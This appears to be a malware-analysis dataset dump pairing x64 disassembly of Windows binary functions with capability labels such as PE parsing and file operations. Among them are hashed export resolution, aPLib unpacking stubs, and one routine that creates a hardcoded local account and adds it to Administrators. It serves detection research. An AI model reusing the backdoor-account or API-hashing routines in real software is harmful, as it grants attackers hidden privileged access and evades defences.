joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008b2a3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd rax, dword [rcx + 0x3c]
mov esi, edx
xor edx, edx
mov r8d, dword [rax + rcx + 0x88]
mov r9, rcx
add r8, rcx
mov r10d, dword [r8 + 0x20]
mov r11d, dword [r8 + 0x1c]
mov ebx, dword [r8 + 0x24]
mov edi, dword [r8 + 0x18]
add r10, rcx
add r11, rcx
add rbx, rcx
test edi, edi
je 0x14008b314
mov ecx, dword [r10]
add rcx, r9
xor r8d, r8d
jmp 0x14008b2ff
movzx eax, al
inc rcx
or eax, 0x60
add r8d, eax
add r8d, r8d
mov al, byte [rcx]
test al, al
jne 0x14008b2f0
cmp r8d, esi
je 0x14008b326
inc edx
add r10, 4
cmp edx, edi
jb 0x14008b2e5
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
movzx ecx, word [rbx + rdx*2]
mov eax, dword [r11 + rcx*4]
add rax, r9
jmp 0x14008b316

Function at 0x1400aaee0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400ae240]
jmp 0x140014b30

Function at 0x1400ab880
Capabilities:
Accept command line arguments
Get common file path
Query or enumerate registry value

Disassembly:
sub rsp, 0x28
call fcn.140012bd0
mov rax, qword [0x1400b50e0]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x1400b50d0]
mov r8, qword [rax]
mov rax, qword [0x1400b50c0]
mov rcx, qword [rax]
add rsp, 0x28
jmp sym.vlc.exe_WinMain
Function at 0x180398058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1803981df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180398089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18039806f
add dl, dl
jne 0x180398096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1803980f6
xor eax, eax
add dl, dl
jne 0x1803980a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1803981ad
add dl, dl
jne 0x1803980b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1803980c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1803980d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1803980dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1803980ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18039807e
mov eax, 1
add dl, dl
jne 0x180398106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180398113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1803980fb
sub eax, ebx
mov ebx, 1
jne 0x18039814c
mov ecx, 1
add dl, dl
jne 0x18039812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18039813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180398123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18039807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180398168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180398175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18039815d
cmp eax, 0x7d00
jae 0x18039819b
cmp eax, 0x500
jb 0x180398196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18039807e
cmp eax, 0x7f
ja 0x18039819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18039807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1803981d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18039807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x3b09f13f1
Capabilities:
Add user account
Add user account to group
Get user security identifier

Disassembly:
push rbp
sub rsp, 0x3b0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x2d0], 0x100
mov dword [rbp + 0x1cc], pe_nt_image_headers64
lea rax, [rbp + 0x2e0]
mov r8d, 0x38
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, str.pkmarejil
mov qword [rbp + 0x2e0], rax
lea rax, str.T_es_t0_2045_6089_
mov qword [rbp + 0x2e8], rax
mov dword [rbp + 0x2f4], 1
mov dword [rbp + 0x308], 0x201
mov qword [rbp + 0x310], 0
lea rax, [rbp + 0x2e0]
mov r9d, 0
mov r8, rax
mov edx, 1
mov ecx, 0
call sym.NetUserAdd
mov dword [rbp + 0x32c], eax
cmp dword [rbp + 0x32c], 0
je 0x3b09f14c0
mov edx, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
mov r8d, edx
mov edx, eax
lea rcx, str.NetUserAdd_FAIL__d_0x_08x_r_n
call sym.wprintf
mov eax, dword [rbp + 0x32c]
jmp 0x3b09f15fa
mov edx, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
mov r8d, edx
mov edx, eax
lea rcx, str.NetUserAdd_OK_r_n
call sym.wprintf
mov rax, qword [rbp + 0x2e0]
lea r8, [rbp + 0x2d0]
lea rcx, [rbp + 0x1d0]
lea rdx, [rbp + 0x2d4]
mov qword [rsp + 0x30], rdx
lea rdx, [rbp + 0x1cc]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
call rax
mov dword [rbp + 0x328], eax
cmp dword [rbp + 0x328], 0
jne 0x3b09f1570
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x324], eax
mov edx, dword [rbp + 0x324]
mov eax, dword [rbp + 0x324]
mov r8d, edx
mov edx, eax
lea rcx, str.LookupAccountName_FAIL__d_0x_08x_r_n
call sym.wprintf
mov eax, dword [rbp + 0x324]
jmp 0x3b09f15fa
lea rax, [rbp + 0x2d8]
mov r8d, 8
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x2d8], rax
lea rax, [rbp + 0x2d8]
mov dword [rsp + 0x20], 1
mov r9, rax
mov r8d, 0
lea rdx, str.Administrators
mov ecx, 0
call sym.NetLocalGroupAddMembers
mov dword [rbp + 0x32c], eax
cmp dword [rbp + 0x32c], 0
je 0x3b09f15f5
mov edx, dword [rbp + 0x32c]
mov eax, dword [rbp + 0x32c]
mov r8d, edx
mov edx, eax
lea rcx, str.NetLocalGroupAddMembers_FAIL__d_0x_08x_r_n
call sym.wprintf
mov eax, dword [rbp + 0x32c]
jmp 0x3b09f15fa
mov eax, 0
add rsp, 0x3b0
pop rbp
ret

Function at 0x3b09f1830
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x3b09f18a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x3b09fc064]
mov r12, rcx
test ebx, ebx
jle 0x3b09f19d0
mov rax, qword [0x3b09fc068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x3b09f18ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x3b09f1973
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x3b09f18d0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x3b09f19f2
mov rax, qword [0x3b09fc068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x3b09fc068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3b09f19d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3b09f196c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3b09f1980
add dword [0x3b09fc064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x3b09fc068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3b09f196c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x3b09f18f7
mov rax, qword [0x3b09fc068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3b09f1d50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x3b09fc0a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3b09fc080]
test rbx, rbx
je 0x3b09f1da4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x3b09f1d9b
test r12, r12
je 0x3b09f1d9b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3b09f1d80
lea rcx, [0x3b09fc0a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x3b09f1fc0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x3b09f1fd8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x3b09f1fe0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x3b09f1ff0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x3b09f203c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x3b09f2033
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x3b09f203e
add rax, 0x28
cmp rax, r9
jne 0x3b09f2020
xor eax, eax
ret

Function at 0x3b09f2040
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x3b09f20d0
mov rdx, qword [0x3b09f9750]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x3b09f20be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x3b09f20be
cmp word [rax + 0x18], 0x20b
jne 0x3b09f20be
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x3b09f20d0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x3b09f20a9
add r12, 0x28
cmp r12, rsi
je 0x3b09f20d0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x3b09f20a0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x3b09f20e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3b09f9750]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3b09f2100
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3b09f2108
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3b09f2100
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x3b09f2155
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3b09f214c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3b09f2100
add rax, 0x28
cmp rax, r9
jne 0x3b09f2138
xor eax, eax
ret

Function at 0x3b09f2160
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3b09f9750]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3b09f2180
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3b09f2188
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x3b09f2180
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x3b09f21a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x3b09f9750]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x3b09f21c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x3b09f21c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x3b09f21c0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x3b09f2208
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x3b09f21ff
test rcx, rcx
je 0x3b09f21c0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x3b09f21f0
xor eax, eax
ret
Function at 0x3b09f2210
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3b09f9750]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3b09f2230
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x3b09f2238
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x3b09f2250
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x3b09f9750]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3b09f2270
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x3b09f2278
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x3b09f2270
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x3b09f2270
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3b09f22b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3b09f22c8
add rax, 0x28
cmp r9, rax
jne 0x3b09f22a0
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x3b09f22e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x3b09f9750]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x3b09f2302
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x3b09f2310
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3b09f2302
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x3b09f2302
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x3b09f2302
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x3b09f235d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x3b09f2370
add rdx, 0x28
cmp r10, rdx
jne 0x3b09f2348
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x3b09f237f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x3b09f238f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x3b09f2366
test ecx, ecx
jg 0x3b09f2378
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14127b058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14127b1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14127b089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14127b06f
add dl, dl
jne 0x14127b096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14127b0f6
xor eax, eax
add dl, dl
jne 0x14127b0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14127b1ad
add dl, dl
jne 0x14127b0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14127b0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14127b0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14127b0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14127b0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14127b07e
mov eax, 1
add dl, dl
jne 0x14127b106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14127b113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14127b0fb
sub eax, ebx
mov ebx, 1
jne 0x14127b14c
mov ecx, 1
add dl, dl
jne 0x14127b12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14127b13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14127b123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14127b07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14127b168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14127b175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14127b15d
cmp eax, 0x7d00
jae 0x14127b19b
cmp eax, 0x500
jb 0x14127b196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14127b07e
cmp eax, 0x7f
ja 0x14127b19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14127b07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14127b1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14127b07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140007dc0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [0x14002d0a0]
test rcx, rcx
je 0x140007dfb
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007e20
mov rcx, qword [0x14002d0a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400300e0], 0
jne 0x140007e38
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, qword [0x14002d0a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140007dee
mov edx, 0x414
lea r12, [rsp + 0x20]
lea rsi, [0x14001d462]
mov qword [rsp + 0x20], 0
lea rdi, [0x140030100]
movq xmm0, rsi
mov rcx, r12
mov dword [rsp + 0x28], 3
movq xmm6, rdi
mov word [rsp + 0x40], dx
mov rbp, qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, 0x14
punpcklqdq xmm6, xmm0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rsi
movaps xmmword [rsp + 0x30], xmm6
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007f04
test al, 0x10
je 0x140007e04
mov ecx, 0x64
call r14
mov eax, 0x414
mov qword [rsp + 0x50], rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
movaps xmmword [rsp + 0x30], xmm6
call rbp
sub ebx, 1
je 0x140007e04
mov rcx, rdi
call r13
cmp eax, 0xffffffff
jne 0x140007eb0
jmp 0x140007e04

Function at 0x14000e570
Capabilities:
Create directory

Disassembly:
push rdi
mov eax, 0x2020
push rsi
push rbx
call fcn.140015730
sub rsp, rax
mov eax, dword [0x140034100]
mov rsi, rcx
test eax, eax
je 0x14000e610
xor ebx, ebx
lea rdi, [0x140032100]
test eax, eax
jg 0x14000e5ac
jmp 0x14000e5c0
add rbx, 1
cmp dword [0x140034100], ebx
jle 0x14000e5c0
mov rdx, qword [rdi + rbx*8]
mov rcx, rsi
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14000e5a0
jmp 0x14000e5f7
mov rcx, rsi
call sub.msvcrt.dll_wcslen
cmp rax, 2
jne 0x14000e5d5
cmp word [rsi + 2], 0x3a
je 0x14000e5f7
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14000e660
movsxd rbx, dword [0x140034100]
cmp ebx, 0x3ff
jle 0x14000e678
mov eax, 1
add rsp, 0x2020
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
lea rbx, str.HOME
mov r8d, 0x1000
mov rdx, rbx
mov rcx, rdi
call fcn.140007540
test al, al
je 0x14000e69a
movsxd rbx, dword [0x140034100]
mov rcx, rdi
lea rdi, [0x140032100]
call sub.msvcrt.dll__wcsdup
mov qword [rdi + rbx*8], rax
mov eax, dword [0x140034100]
add eax, 1
mov dword [0x140034100], eax
jmp 0x14000e591
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000e5e4
xor eax, eax
jmp 0x14000e5fc
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add dword [0x140034100], 1
mov rdx, rax
lea rax, [0x140032100]
mov qword [rax + rbx*8], rdx
jmp 0x14000e5f7
mov rcx, rbx
call fcn.140007d00
nop
nop word cs:[rax + rax]
nop
Function at 0x1400087d0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1400087f2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000886c
mov rdi, r14
mov rcx, rbx
call fcn.14000ad40
test rax, rax
jle 0x140008844
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.1400185f0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000885c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140008864
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140008806
sub r14, rdi
jmp 0x14000894f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140008883
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140008885
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400088b7
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1400185f0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000894c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400088f2
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000892d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1400248d4
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14000894c
cmp rbp, rax
ja 0x140008900
test rbp, rbp
je 0x14000894c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1400248d4
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x140013e40
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140013ec4
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400425c0]
cmp byte [rcx + rax], 0
je 0x140013ec4
dec r8
sub rdx, 1
jne 0x140013eaa
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400170e4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001712e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001712e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001712e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001712e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001712e
